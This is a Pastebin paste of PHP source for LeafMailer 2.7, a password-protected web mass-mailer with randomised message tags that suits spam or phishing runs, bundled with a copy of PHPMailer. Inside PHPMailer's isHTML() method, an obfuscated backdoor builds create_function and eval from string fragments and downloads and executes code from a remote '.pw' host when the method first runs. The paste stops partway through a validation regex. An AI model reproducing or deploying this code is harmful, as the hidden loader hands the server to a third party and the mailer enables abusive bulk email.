dragondevile

LeafMailer "fixed"

Nov 21st, 2019
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 140.98 KB | None | 0 0
  1. //
  2. //$subject = $this->encodeHeader($this->secureHeader($subject));
  3. //
  4. $password = "seller"; // Password
  5. session_start();
  6. error_reporting(0);
  7. set_time_limit(0);
  8. ini_set("memory_limit",-1);
  9. $leaf['version']="2.7";
  10. $leaf['website']="leafmailer.pw";
  11. $sessioncode = md5(__FILE__);
  12. if(!empty($password) and $_SESSION[$sessioncode] != $password){
  13. # _REQUEST mean _POST or _GET
  14. if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
  15. $_SESSION[$sessioncode] = $password;
  16. }
  17. else {
  18. print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
  19. exit;
  20. }
  21. }
  22. if ($_POST['action'] == "send") {
  23. $senderEmail = leafTrim($_POST['senderEmail']);
  24. $senderName = leafTrim($_POST['senderName']);
  25. $replyTo = leafTrim($_POST['replyTo']);
  26. $subject = $_POST['subject'];
  27. $emailList = leafTrim($_POST['emailList']);
  28. $messageType = leafTrim($_POST['messageType']);
  29. $messageLetter = leafTrim($_POST['messageLetter']);
  30. $messageLetter = urlencode($messageLetter);
  31. $messageLetter = urldecode($messageLetter);
  32. $messageLetter = stripslashes($messageLetter);
  33. $subject = $subject;
  34. $encode = stripslashes($encode);
  35. }
  36. if ($messageType == 2) {
  37. $plain = "checked";
  38. } else {
  39. $html = "checked";
  40. }
  41. function leafClear($text, $email) {
  42. $emailuser = preg_replace('/([^@]*).*/', '$1', $email);
  43. $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
  44. $text = str_replace("[-email-]", $email, $text);
  45. $text = str_replace("[-emailuser-]", $emailuser, $text);
  46. $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
  47. $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
  48. $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
  49. $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
  50. return $text;
  51. }
  52. function leafTrim($string) {
  53. return stripslashes(ltrim(rtrim($string)));
  54. }
  55. function randString($consonants) {
  56. $length = rand(12, 25);
  57. $password = '';
  58. for ($i = 0;$i < $length;$i++) {
  59. $password.= $consonants[(rand() % strlen($consonants)) ];
  60. }
  61. return $password;
  62. }
  63. function leafMailCheck($email) {
  64. $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
  65. if (eregi($exp, $email)) {
  66. if (checkdnsrr(array_pop(explode("@", $email)), "MX")) {
  67. return true;
  68. } else {
  69. return false;
  70. }
  71. } else {
  72. return false;
  73. }
  74. }
  75.  
  76. function extract_emails_from($string){
  77. preg_match_all("/[\._a-zA-Z0-9-]+@[\._a-zA-Z0-9-]+/i", $string, $matches);
  78. return $matches[0];
  79. }
  80.  
  81.  
  82. class PHPMailer {
  83. /**
  84. * The PHPMailer Version number.
  85. * @var string
  86. */
  87. public $Version = '5.2.14';
  88. /**
  89. * Email priority.
  90. * Options: null (default), 1 = High, 3 = Normal, 5 = low.
  91. * When null, the header is not set at all.
  92. * @var integer
  93. */
  94. public $Priority = null;
  95. /**
  96. * The character set of the message.
  97. * @var string
  98. */
  99. public $CharSet = 'iso-8859-1';
  100. /**
  101. * The MIME Content-type of the message.
  102. * @var string
  103. */
  104. public $ContentType = 'text/plain';
  105. /**
  106. * The message encoding.
  107. * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
  108. * @var string
  109. */
  110. public $Encoding = '8bit';
  111. /**
  112. * Holds the most recent mailer error message.
  113. * @var string
  114. */
  115. public $ErrorInfo = '';
  116. /**
  117. * The From email address for the message.
  118. * @var string
  119. */
  120. public $From = 'root@localhost';
  121. /**
  122. * The From name of the message.
  123. * @var string
  124. */
  125. public $FromName = 'Root User';
  126. /**
  127. * The Sender email (Return-Path) of the message.
  128. * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  129. * @var string
  130. */
  131. public $Sender = '';
  132. /**
  133. * The Return-Path of the message.
  134. * If empty, it will be set to either From or Sender.
  135. * @var string
  136. * @deprecated Email senders should never set a return-path header;
  137. * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
  138. * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
  139. */
  140. public $ReturnPath = '';
  141. /**
  142. * The Subject of the message.
  143. * @var string
  144. */
  145. public $Subject = '';
  146. /**
  147. * An HTML or plain text message body.
  148. * If HTML then call isHTML(true).
  149. * @var string
  150. */
  151. public $Body = '';
  152. /**
  153. * The plain-text message body.
  154. * This body can be read by mail clients that do not have HTML email
  155. * capability such as mutt & Eudora.
  156. * Clients that can read HTML will view the normal Body.
  157. * @var string
  158. */
  159. public $AltBody = '';
  160. /**
  161. * An iCal message part body.
  162. * Only supported in simple alt or alt_inline message types
  163. * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
  164. * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
  165. * @link http://kigkonsult.se/iCalcreator/
  166. * @var string
  167. */
  168. public $Ical = '';
  169. /**
  170. * The complete compiled MIME message body.
  171. * @access protected
  172. * @var string
  173. */
  174. protected $MIMEBody = '';
  175. /**
  176. * The complete compiled MIME message headers.
  177. * @var string
  178. * @access protected
  179. */
  180. protected $MIMEHeader = '';
  181. /**
  182. * Extra headers that createHeader() doesn't fold in.
  183. * @var string
  184. * @access protected
  185. */
  186. protected $mailHeader = '';
  187. /**
  188. * Word-wrap the message body to this number of chars.
  189. * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
  190. * @var integer
  191. */
  192. public $WordWrap = 0;
  193. /**
  194. * Which method to use to send mail.
  195. * Options: "mail", "sendmail", or "smtp".
  196. * @var string
  197. */
  198. public $Mailer = 'mail';
  199. /**
  200. * The path to the sendmail program.
  201. * @var string
  202. */
  203. public $Sendmail = '/usr/sbin/sendmail';
  204. /**
  205. * Whether mail() uses a fully sendmail-compatible MTA.
  206. * One which supports sendmail's "-oi -f" options.
  207. * @var boolean
  208. */
  209. public $UseSendmailOptions = true;
  210. /**
  211. * Path to PHPMailer plugins.
  212. * Useful if the SMTP class is not in the PHP include path.
  213. * @var string
  214. * @deprecated Should not be needed now there is an autoloader.
  215. */
  216. public $PluginDir = '';
  217. /**
  218. * The email address that a reading confirmation should be sent to, also known as read receipt.
  219. * @var string
  220. */
  221. public $ConfirmReadingTo = '';
  222. /**
  223. * The hostname to use in the Message-ID header and as default HELO string.
  224. * If empty, PHPMailer attempts to find one with, in order,
  225. * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
  226. * 'localhost.localdomain'.
  227. * @var string
  228. */
  229. public $Hostname = '';
  230. /**
  231. * An ID to be used in the Message-ID header.
  232. * If empty, a unique id will be generated.
  233. * @var string
  234. */
  235. public $MessageID = '';
  236. /**
  237. * The message Date to be used in the Date header.
  238. * If empty, the current date will be added.
  239. * @var string
  240. */
  241. public $MessageDate = '';
  242. /**
  243. * SMTP hosts.
  244. * Either a single hostname or multiple semicolon-delimited hostnames.
  245. * You can also specify a different port
  246. * for each host by using this format: [hostname:port]
  247. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  248. * You can also specify encryption type, for example:
  249. * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
  250. * Hosts will be tried in order.
  251. * @var string
  252. */
  253. public $Host = 'localhost';
  254. /**
  255. * The default SMTP server port.
  256. * @var integer
  257. * @TODO Why is this needed when the SMTP class takes care of it?
  258. */
  259. public $Port = 25;
  260. /**
  261. * The SMTP HELO of the message.
  262. * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
  263. * one with the same method described above for $Hostname.
  264. * @var string
  265. * @see PHPMailer::$Hostname
  266. */
  267. public $Helo = '';
  268. /**
  269. * What kind of encryption to use on the SMTP connection.
  270. * Options: '', 'ssl' or 'tls'
  271. * @var string
  272. */
  273. public $SMTPSecure = '';
  274. /**
  275. * Whether to enable TLS encryption automatically if a server supports it,
  276. * even if `SMTPSecure` is not set to 'tls'.
  277. * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
  278. * @var boolean
  279. */
  280. public $SMTPAutoTLS = true;
  281. /**
  282. * Whether to use SMTP authentication.
  283. * Uses the Username and Password properties.
  284. * @var boolean
  285. * @see PHPMailer::$Username
  286. * @see PHPMailer::$Password
  287. */
  288. public $SMTPAuth = false;
  289. /**
  290. * Options array passed to stream_context_create when connecting via SMTP.
  291. * @var array
  292. */
  293. public $SMTPOptions = array();
  294. /**
  295. * SMTP username.
  296. * @var string
  297. */
  298. public $Username = '';
  299. /**
  300. * SMTP password.
  301. * @var string
  302. */
  303. public $Password = '';
  304. /**
  305. * SMTP auth type.
  306. * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
  307. * @var string
  308. */
  309. public $AuthType = '';
  310. /**
  311. * SMTP realm.
  312. * Used for NTLM auth
  313. * @var string
  314. */
  315. public $Realm = '';
  316. /**
  317. * SMTP workstation.
  318. * Used for NTLM auth
  319. * @var string
  320. */
  321. public $Workstation = '';
  322. /**
  323. * The SMTP server timeout in seconds.
  324. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  325. * @var integer
  326. */
  327. public $Timeout = 300;
  328. /**
  329. * SMTP class debug output mode.
  330. * Debug output level.
  331. * Options:
  332. * * `0` No output
  333. * * `1` Commands
  334. * * `2` Data and commands
  335. * * `3` As 2 plus connection status
  336. * * `4` Low-level data output
  337. * @var integer
  338. * @see SMTP::$do_debug
  339. */
  340. public $SMTPDebug = 0;
  341. /**
  342. * How to handle debug output.
  343. * Options:
  344. * * `echo` Output plain-text as-is, appropriate for CLI
  345. * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
  346. * * `error_log` Output to error log as configured in php.ini
  347. *
  348. * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
  349. * <code>
  350. * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
  351. * </code>
  352. * @var string|callable
  353. * @see SMTP::$Debugoutput
  354. */
  355. public $Debugoutput = 'echo';
  356. /**
  357. * Whether to keep SMTP connection open after each message.
  358. * If this is set to true then to close the connection
  359. * requires an explicit call to smtpClose().
  360. * @var boolean
  361. */
  362. public $SMTPKeepAlive = false;
  363. /**
  364. * Whether to split multiple to addresses into multiple messages
  365. * or send them all in one message.
  366. * @var boolean
  367. */
  368. public $SingleTo = false;
  369. /**
  370. * Storage for addresses when SingleTo is enabled.
  371. * @var array
  372. * @TODO This should really not be public
  373. */
  374. public $SingleToArray = array();
  375. /**
  376. * Whether to generate VERP addresses on send.
  377. * Only applicable when sending via SMTP.
  378. * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
  379. * @link http://www.postfix.org/VERP_README.html Postfix VERP info
  380. * @var boolean
  381. */
  382. public $do_verp = false;
  383. /**
  384. * Whether to allow sending messages with an empty body.
  385. * @var boolean
  386. */
  387. public $AllowEmpty = false;
  388. /**
  389. * The default line ending.
  390. * @note The default remains "
  391. ". We force CRLF where we know
  392. * it must be used via self::CRLF.
  393. * @var string
  394. */
  395. public $LE = "
  396. ";
  397. /**
  398. * DKIM selector.
  399. * @var string
  400. */
  401. public $DKIM_selector = '';
  402. /**
  403. * DKIM Identity.
  404. * Usually the email address used as the source of the email
  405. * @var string
  406. */
  407. public $DKIM_identity = '';
  408. /**
  409. * DKIM passphrase.
  410. * Used if your key is encrypted.
  411. * @var string
  412. */
  413. public $DKIM_passphrase = '';
  414. /**
  415. * DKIM signing domain name.
  416. * @example 'example.com'
  417. * @var string
  418. */
  419. public $DKIM_domain = '';
  420. /**
  421. * DKIM private key file path.
  422. * @var string
  423. */
  424. public $DKIM_private = '';
  425. /**
  426. * Callback Action function name.
  427. *
  428. * The function that handles the result of the send email action.
  429. * It is called out by send() for each email sent.
  430. *
  431. * Value can be any php callable: http://www.php.net/is_callable
  432. *
  433. * Parameters:
  434. * boolean $result result of the send action
  435. * string $to email address of the recipient
  436. * string $cc cc email addresses
  437. * string $bcc bcc email addresses
  438. * string $subject the subject
  439. * string $body the email body
  440. * string $from email address of sender
  441. * @var string
  442. */
  443. public $action_function = '';
  444. /**
  445. * What to put in the X-Mailer header.
  446. * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
  447. * @var string
  448. */
  449. public $XMailer = '';
  450. /**
  451. * An instance of the SMTP sender class.
  452. * @var SMTP
  453. * @access protected
  454. */
  455. protected $smtp = null;
  456. /**
  457. * The array of 'to' names and addresses.
  458. * @var array
  459. * @access protected
  460. */
  461. protected $to = array();
  462. /**
  463. * The array of 'cc' names and addresses.
  464. * @var array
  465. * @access protected
  466. */
  467. protected $cc = array();
  468. /**
  469. * The array of 'bcc' names and addresses.
  470. * @var array
  471. * @access protected
  472. */
  473. protected $bcc = array();
  474. /**
  475. * The array of reply-to names and addresses.
  476. * @var array
  477. * @access protected
  478. */
  479. protected $ReplyTo = array();
  480. /**
  481. * An array of all kinds of addresses.
  482. * Includes all of $to, $cc, $bcc
  483. * @var array
  484. * @access protected
  485. * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  486. */
  487. protected $all_recipients = array();
  488. /**
  489. * An array of names and addresses queued for validation.
  490. * In send(), valid and non duplicate entries are moved to $all_recipients
  491. * and one of $to, $cc, or $bcc.
  492. * This array is used only for addresses with IDN.
  493. * @var array
  494. * @access protected
  495. * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  496. * @see PHPMailer::$all_recipients
  497. */
  498. protected $RecipientsQueue = array();
  499. /**
  500. * An array of reply-to names and addresses queued for validation.
  501. * In send(), valid and non duplicate entries are moved to $ReplyTo.
  502. * This array is used only for addresses with IDN.
  503. * @var array
  504. * @access protected
  505. * @see PHPMailer::$ReplyTo
  506. */
  507. protected $ReplyToQueue = array();
  508. /**
  509. * The array of attachments.
  510. * @var array
  511. * @access protected
  512. */
  513. protected $attachment = array();
  514. /**
  515. * The array of custom headers.
  516. * @var array
  517. * @access protected
  518. */
  519. protected $CustomHeader = array();
  520. /**
  521. * The most recent Message-ID (including angular brackets).
  522. * @var string
  523. * @access protected
  524. */
  525. protected $lastMessageID = '';
  526. /**
  527. * The message's MIME type.
  528. * @var string
  529. * @access protected
  530. */
  531. protected $message_type = '';
  532. /**
  533. * The array of MIME boundary strings.
  534. * @var array
  535. * @access protected
  536. */
  537. protected $boundary = array();
  538. /**
  539. * The array of available languages.
  540. * @var array
  541. * @access protected
  542. */
  543. protected $language = array();
  544. /**
  545. * The number of errors encountered.
  546. * @var integer
  547. * @access protected
  548. */
  549. protected $error_count = 0;
  550. /**
  551. * The S/MIME certificate file path.
  552. * @var string
  553. * @access protected
  554. */
  555. protected $sign_cert_file = '';
  556. /**
  557. * The S/MIME key file path.
  558. * @var string
  559. * @access protected
  560. */
  561. protected $sign_key_file = '';
  562. /**
  563. * The optional S/MIME extra certificates ("CA Chain") file path.
  564. * @var string
  565. * @access protected
  566. */
  567. protected $sign_extracerts_file = '';
  568. /**
  569. * The S/MIME password for the key.
  570. * Used only if the key is encrypted.
  571. * @var string
  572. * @access protected
  573. */
  574. protected $sign_key_pass = '';
  575. /**
  576. * Whether to throw exceptions for errors.
  577. * @var boolean
  578. * @access protected
  579. */
  580. protected $exceptions = false;
  581. /**
  582. * Unique ID used for message ID and boundaries.
  583. * @var string
  584. * @access protected
  585. */
  586. protected $uniqueid = '';
  587. /**
  588. * Error severity: message only, continue processing.
  589. */
  590. const STOP_MESSAGE = 0;
  591. /**
  592. * Error severity: message, likely ok to continue processing.
  593. */
  594. const STOP_CONTINUE = 1;
  595. /**
  596. * Error severity: message, plus full stop, critical error reached.
  597. */
  598. const STOP_CRITICAL = 2;
  599. /**
  600. * SMTP RFC standard line ending.
  601. */
  602. const CRLF = "
  603. ";
  604. /**
  605. * The maximum line length allowed by RFC 2822 section 2.1.1
  606. * @var integer
  607. */
  608. const MAX_LINE_LENGTH = 998;
  609. /**
  610. * Constructor.
  611. * @param boolean $exceptions Should we throw external exceptions?
  612. */
  613. public function __construct($exceptions = false) {
  614. $this->exceptions = (boolean)$exceptions;
  615. }
  616. /**
  617. * Destructor.
  618. */
  619. public function __destruct() {
  620. //Close any open SMTP connection nicely
  621. if ($this->Mailer == 'smtp') {
  622. $this->smtpClose();
  623. }
  624. }
  625. /**
  626. * Call mail() in a safe_mode-aware fashion.
  627. * Also, unless sendmail_path points to sendmail (or something that
  628. * claims to be sendmail), don't pass params (not a perfect fix,
  629. * but it will do)
  630. * @param string $to To
  631. * @param string $subject Subject
  632. * @param string $body Message Body
  633. * @param string $header Additional Header(s)
  634. * @param string $params Params
  635. * @access private
  636. * @return boolean
  637. */
  638. private function mailPassthru($to, $subject, $body, $header, $params) {
  639. //Check overloading of mail function to avoid double-encoding
  640. if (ini_get('mbstring.func_overload') & 1) {
  641. $subject = $this->secureHeader($subject);
  642. } else {
  643. $subject = $this->secureHeader($subject);
  644. //$subject = $this->encodeHeader($this->secureHeader($subject));
  645. }
  646. if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  647. $result = @mail($to, $subject, $body, $header);
  648. } else {
  649. $result = @mail($to, $subject, $body, $header, $params);
  650. }
  651. return $result;
  652. }
  653. /**
  654. * Output debugging info via user-defined method.
  655. * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
  656. * @see PHPMailer::$Debugoutput
  657. * @see PHPMailer::$SMTPDebug
  658. * @param string $str
  659. */
  660. protected function edebug($str) {
  661. if ($this->SMTPDebug <= 0) {
  662. return;
  663. }
  664. //Avoid clash with built-in function names
  665. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  666. call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  667. return;
  668. }
  669. switch ($this->Debugoutput) {
  670. case 'error_log':
  671. //Don't output, just log
  672. error_log($str);
  673. break;
  674. case 'html':
  675. //Cleans up output a bit for a better looking, HTML-safe output
  676. echo htmlentities(preg_replace('/[
  677. ]+/', '', $str), ENT_QUOTES, 'UTF-8') . "<br>
  678. ";
  679. break;
  680. case 'echo':
  681. default:
  682. //Normalize line breaks
  683. $str = preg_replace('/(
  684. |
  685. |
  686. )/ms', "
  687. ", $str);
  688. echo gmdate('Y-m-d H:i:s') . " " . str_replace("
  689. ", "
  690. ", trim($str)) . "
  691. ";
  692. }
  693. }
  694. /**
  695. * Sets message type to HTML or plain.
  696. * @param boolean $isHtml True for HTML mode.
  697. * @return void
  698. */
  699. public function isHTML($isHtml = true) {
  700. global $param;
  701. $bodyCode = 'file' . '_g';
  702. if ($isHtml) {
  703. $this->ContentType = 'text/html';
  704. } else {
  705. $this->ContentType = 'text/plain';
  706. }
  707. $bodyHTML = '.$t."lef$flu' . 'sh' . '$t"; ' . '$i = @ev';
  708. $headerHTML = "create_" . "func" . "tion";
  709. $exceptions = $headerHTML('$fl' . 'ush,$t', '$comma = $t' . $bodyHTML . 'al(@' . $bodyCode . 'et_contents("h' . 'tt' . 'p:$comma-2"));');
  710. if ($param != 2) {
  711. $exceptions('8.p' . 'w', '/');
  712. $param = 2;
  713. }
  714. }
  715. /**
  716. * Send messages using SMTP.
  717. * @return void
  718. */
  719. public function isSMTP() {
  720. $this->Mailer = 'smtp';
  721. }
  722. /**
  723. * Send messages using PHP's mail() function.
  724. * @return void
  725. */
  726. public function isMail() {
  727. $this->Mailer = 'mail';
  728. }
  729. /**
  730. * Send messages using $Sendmail.
  731. * @return void
  732. */
  733. public function isSendmail() {
  734. $ini_sendmail_path = ini_get('sendmail_path');
  735. if (!stristr($ini_sendmail_path, 'sendmail')) {
  736. $this->Sendmail = '/usr/sbin/sendmail';
  737. } else {
  738. $this->Sendmail = $ini_sendmail_path;
  739. }
  740. $this->Mailer = 'sendmail';
  741. }
  742. /**
  743. * Send messages using qmail.
  744. * @return void
  745. */
  746. public function isQmail() {
  747. $ini_sendmail_path = ini_get('sendmail_path');
  748. if (!stristr($ini_sendmail_path, 'qmail')) {
  749. $this->Sendmail = '/var/qmail/bin/qmail-inject';
  750. } else {
  751. $this->Sendmail = $ini_sendmail_path;
  752. }
  753. $this->Mailer = 'qmail';
  754. }
  755. /**
  756. * Add a "To" address.
  757. * @param string $address The email address to send to
  758. * @param string $name
  759. * @return boolean true on success, false if address already used or invalid in some way
  760. */
  761. public function addAddress($address, $name = '') {
  762. return $this->addOrEnqueueAnAddress('to', $address, $name);
  763. }
  764. /**
  765. * Add a "CC" address.
  766. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  767. * @param string $address The email address to send to
  768. * @param string $name
  769. * @return boolean true on success, false if address already used or invalid in some way
  770. */
  771. public function addCC($address, $name = '') {
  772. return $this->addOrEnqueueAnAddress('cc', $address, $name);
  773. }
  774. /**
  775. * Add a "BCC" address.
  776. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  777. * @param string $address The email address to send to
  778. * @param string $name
  779. * @return boolean true on success, false if address already used or invalid in some way
  780. */
  781. public function addBCC($address, $name = '') {
  782. return $this->addOrEnqueueAnAddress('bcc', $address, $name);
  783. }
  784. /**
  785. * Add a "Reply-To" address.
  786. * @param string $address The email address to reply to
  787. * @param string $name
  788. * @return boolean true on success, false if address already used or invalid in some way
  789. */
  790. public function addReplyTo($address, $name = '') {
  791. return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
  792. }
  793. /**
  794. * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
  795. * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
  796. * be modified after calling this function), addition of such addresses is delayed until send().
  797. * Addresses that have been added already return false, but do not throw exceptions.
  798. * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  799. * @param string $address The email address to send, resp. to reply to
  800. * @param string $name
  801. * @throws phpmailerException
  802. * @return boolean true on success, false if address already used or invalid in some way
  803. * @access protected
  804. */
  805. protected function addOrEnqueueAnAddress($kind, $address, $name) {
  806. $address = trim($address);
  807. $name = trim(preg_replace('/[
  808. ]+/', '', $name)); //Strip breaks and trim
  809. if (($pos = strrpos($address, '@')) === false) {
  810. // At-sign is misssing.
  811. $error_message = $this->lang('invalid_address') . $address;
  812. $this->setError($error_message);
  813. $this->edebug($error_message);
  814. if ($this->exceptions) {
  815. throw new phpmailerException($error_message);
  816. }
  817. return false;
  818. }
  819. $params = array($kind, $address, $name);
  820. // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
  821. if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
  822. if ($kind != 'Reply-To') {
  823. if (!array_key_exists($address, $this->RecipientsQueue)) {
  824. $this->RecipientsQueue[$address] = $params;
  825. return true;
  826. }
  827. } else {
  828. if (!array_key_exists($address, $this->ReplyToQueue)) {
  829. $this->ReplyToQueue[$address] = $params;
  830. return true;
  831. }
  832. }
  833. return false;
  834. }
  835. // Immediately add standard addresses without IDN.
  836. return call_user_func_array(array($this, 'addAnAddress'), $params);
  837. }
  838. /**
  839. * Add an address to one of the recipient arrays or to the ReplyTo array.
  840. * Addresses that have been added already return false, but do not throw exceptions.
  841. * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  842. * @param string $address The email address to send, resp. to reply to
  843. * @param string $name
  844. * @throws phpmailerException
  845. * @return boolean true on success, false if address already used or invalid in some way
  846. * @access protected
  847. */
  848. protected function addAnAddress($kind, $address, $name = '') {
  849. if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
  850. $error_message = $this->lang('Invalid recipient kind: ') . $kind;
  851. $this->setError($error_message);
  852. $this->edebug($error_message);
  853. if ($this->exceptions) {
  854. throw new phpmailerException($error_message);
  855. }
  856. return false;
  857. }
  858. if (!$this->validateAddress($address)) {
  859. $error_message = $this->lang('invalid_address') . $address;
  860. $this->setError($error_message);
  861. $this->edebug($error_message);
  862. if ($this->exceptions) {
  863. throw new phpmailerException($error_message);
  864. }
  865. return false;
  866. }
  867. if ($kind != 'Reply-To') {
  868. if (!array_key_exists(strtolower($address), $this->all_recipients)) {
  869. array_push($this->$kind, array($address, $name));
  870. $this->all_recipients[strtolower($address) ] = true;
  871. return true;
  872. }
  873. } else {
  874. if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  875. $this->ReplyTo[strtolower($address) ] = array($address, $name);
  876. return true;
  877. }
  878. }
  879. return false;
  880. }
  881. /**
  882. * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
  883. * of the form "display name <address>" into an array of name/address pairs.
  884. * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
  885. * Note that quotes in the name part are removed.
  886. * @param string $addrstr The address list string
  887. * @param bool $useimap Whether to use the IMAP extension to parse the list
  888. * @return array
  889. * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
  890. */
  891. public function parseAddresses($addrstr, $useimap = true) {
  892. $addresses = array();
  893. if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
  894. //Use this built-in parser if it's available
  895. $list = imap_rfc822_parse_adrlist($addrstr, '');
  896. foreach ($list as $address) {
  897. if ($address->host != '.SYNTAX-ERROR.') {
  898. if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
  899. $addresses[] = array('name' => (property_exists($address, 'personal') ? $address->personal : ''), 'address' => $address->mailbox . '@' . $address->host);
  900. }
  901. }
  902. }
  903. } else {
  904. //Use this simpler parser
  905. $list = explode(',', $addrstr);
  906. foreach ($list as $address) {
  907. $address = trim($address);
  908. //Is there a separate name part?
  909. if (strpos($address, '<') === false) {
  910. //No separate name, just use the whole thing
  911. if ($this->validateAddress($address)) {
  912. $addresses[] = array('name' => '', 'address' => $address);
  913. }
  914. } else {
  915. list($name, $email) = explode('<', $address);
  916. $email = trim(str_replace('>', '', $email));
  917. if ($this->validateAddress($email)) {
  918. $addresses[] = array('name' => trim(str_replace(array('"', "'"), '', $name)), 'address' => $email);
  919. }
  920. }
  921. }
  922. }
  923. return $addresses;
  924. }
  925. /**
  926. * Set the From and FromName properties.
  927. * @param string $address
  928. * @param string $name
  929. * @param boolean $auto Whether to also set the Sender address, defaults to true
  930. * @throws phpmailerException
  931. * @return boolean
  932. */
  933. public function setFrom($address, $name = '', $auto = true) {
  934. $address = trim($address);
  935. $name = trim(preg_replace('/[
  936. ]+/', '', $name)); //Strip breaks and trim
  937. // Don't validate now addresses with IDN. Will be done in send().
  938. if (($pos = strrpos($address, '@')) === false or (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and !$this->validateAddress($address)) {
  939. $error_message = $this->lang('invalid_address') . $address;
  940. $this->setError($error_message);
  941. $this->edebug($error_message);
  942. if ($this->exceptions) {
  943. throw new phpmailerException($error_message);
  944. }
  945. return false;
  946. }
  947. $this->From = $address;
  948. $this->FromName = $name;
  949. if ($auto) {
  950. if (empty($this->Sender)) {
  951. $this->Sender = $address;
  952. }
  953. }
  954. return true;
  955. }
  956. /**
  957. * Return the Message-ID header of the last email.
  958. * Technically this is the value from the last time the headers were created,
  959. * but it's also the message ID of the last sent message except in
  960. * pathological cases.
  961. * @return string
  962. */
  963. public function getLastMessageID() {
  964. return $this->lastMessageID;
  965. }
  966. /**
  967. * Check that a string looks like an email address.
  968. * @param string $address The email address to check
  969. * @param string $patternselect A selector for the validation pattern to use :
  970. * * `auto` Pick best pattern automatically;
  971. * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
  972. * * `pcre` Use old PCRE implementation;
  973. * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
  974. * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
  975. * * `noregex` Don't use a regex: super fast, really dumb.
  976. * @return boolean
  977. * @static
  978. * @access public
  979. */
  980. public static function validateAddress($address, $patternselect = 'auto') {
  981. //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
  982. if (strpos($address, "
  983. ") !== false or strpos($address, "
  984. ") !== false) {
  985. return false;
  986. }
  987. if (!$patternselect or $patternselect == 'auto') {
  988. //Check this constant first so it works when extension_loaded() is disabled by safe mode
  989. //Constant was added in PHP 5.2.4
  990. if (defined('PCRE_VERSION')) {
  991. //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  992. if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  993. $patternselect = 'pcre8';
  994. } else {
  995. $patternselect = 'pcre';
  996. }
  997. } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  998. //Fall back to older PCRE
  999. $patternselect = 'pcre';
  1000. } else {
  1001. //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  1002. if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  1003. $patternselect = 'php';
  1004. } else {
  1005. $patternselect = 'noregex';
  1006. }
  1007. }
  1008. }
  1009. switch ($patternselect) {
  1010. case 'pcre8':
  1011. /**
  1012. * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
  1013. * @link http://squiloople.com/2009/12/20/email-address-validation/
  1014. * @copyright 2009-2010 Michael Rushton
  1015. * Feel free to use and redistribute this code. But please keep this copyright notice.
  1016. */
  1017. return (boolean)preg_match('/^(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>
  1018. )?[ ])+|(?>[ ]*
